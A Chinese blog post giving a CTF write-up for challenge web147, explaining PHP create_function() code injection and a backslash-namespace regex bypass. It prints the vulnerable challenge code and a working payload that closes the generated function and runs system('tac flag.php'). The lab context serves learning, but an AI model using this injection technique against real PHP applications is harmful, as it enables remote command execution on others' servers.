web147笔记(create_function()代码注入)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 02:04:38

*/



highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}
换了题型,这里对ctf进行了一个正则表达式过滤,post传参的ctf和get传参的show进行了组合,这里我们可以使用create_function()代码注入

string create_function ( string args , string args , string code )

string $args 变量部分
string $code 方法代码部分
create_function('$dotast','echo $dotast."very cool"')
//等于
function f($dotast){
    echo $dotast."very cool";
} 

/*利用如下
如果我们第二个参数输入的是'echo 111;}phpinfo();//'
即可把前面的方法括号给闭合并且成功执行phpinfo命令,后面用//注释掉后边的语句
也就是下面这个结构
*/
function f($dotast){
    echo 111;
}
phpinfo();//}
而正则表达式我们可以用\进行绕过,正好\在php里代表默认命名空间

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果是\function_name()这样的形式去调用函数,则是表示写了一个绝对路径。 如果你在其他namespace里调用系统类,必须使用绝对路径的写法
?show=echo 123;}system("tac flag.php");//

post:
ctf=\create_function

 

posted @ 2025-03-29 15:31  justdoIT*  阅读(23)  评论(0)    收藏  举报